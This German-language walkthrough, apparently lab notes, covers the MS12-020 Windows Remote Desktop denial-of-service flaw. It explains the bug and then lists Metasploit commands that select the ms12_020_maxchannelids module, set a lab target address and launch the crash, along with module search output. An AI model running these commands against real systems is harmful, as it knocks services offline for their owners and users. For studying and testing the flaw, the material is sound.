Microsoft RDP Denial of Service
Details zur Schwachstelle: MS12-020 (Denial-of-Service)
Schwachstelle: MS12-020 ist eine Schwachstelle in der Implementierung des Remote Desktop Protocols (RDP) in Windows. Diese Schwachstelle kann dazu genutzt werden, durch die falsche Verarbeitung des `maxChannelIDs`-Feldes im MCSPDU-Paket einen Denial-of-Service (DoS) Angriff auszulösen. Dies geschieht durch die Nutzung eines ungültigen Zeigers, was den RDP-Dienst zum Absturz bringen kann.
Angriffspunkt: Die Schwachstelle befindet sich im RDP-Dienst auf Windows-Betriebssystemen (Port 3389). Ein Angreifer kann speziell gestaltete RDP-Pakete senden, um die Schwachstelle auszunutzen und den Dienst zum Absturz zu bringen, ohne dass eine Authentifizierung erforderlich ist.
Ausnutzung: Ein Angreifer nutzt ein speziell entwickeltes Exploit-Tool, wie es im MS12-020-Exploit von Metasploit verfügbar ist, um den RDP-Dienst gezielt zum Absturz zu bringen. Ein erfolgreicher Angriff führt zu einem Systemabsturz oder Neustart des Zielsystems.
Schritte zur Ausnutzung
- Führe in Metasploit den Befehl "search ms12-020" aus, um nach dem passenden Exploit zu suchen.
- Wähle das Exploit-Modul aus: `use auxiliary/dos/windows/rdp/ms12_020_maxchannelids`.
- Setze die Ziel-IP-Adresse (RHOSTS) auf die IP des verwundbaren Systems (z. B. `set RHOSTS 10.0.10.108`).
- Starte den Exploit mit dem Befehl `exploit`. Bei erfolgreicher Ausführung wird das System abstürzen oder neu starten.
Warum ist diese Schwachstelle gefährlich?
- Denial-of-Service (DoS): Ermöglicht es einem Angreifer, den Remote Desktop-Dienst des Zielsystems zum Absturz zu bringen, wodurch der Dienst nicht verfügbar ist.
- Zugriffspunkte: Die Schwachstelle betrifft mehrere Windows-Versionen, einschließlich Windows Server 2008 R2, die RDP aktiviert haben.
- Minimale Anforderungen: Der Angriff erfordert keine Authentifizierung und kann aus der Ferne ausgeführt werden, wenn RDP offen und zugänglich ist.
- Netzwerkunterbrechungen: DoS-Angriffe können die Verfügbarkeit kritischer Dienste stören und somit zu finanziellen Verlusten und Rufschädigungen führen.
Suche
- search ms12-020
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/rdp/ms12_020_check . normal Yes MS12-020 Microsoft Remote Desktop Checker 1 auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal No MS12-020 Microsoft Remote Desktop Use-After-Free DoS
MS12-020 (Denial-of-Service) Exploit überprüfen
Der MS12-020-Exploit ist eine bekannte Schwachstelle in älteren Windows-Versionen, einschließlich Windows Server 2008 R2. Es handelt sich um eine Schwachstelle im Remote Desktop Protocol (RDP).
Anwenden
- use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
- set RHOSTS 10.0.10.107
- exploit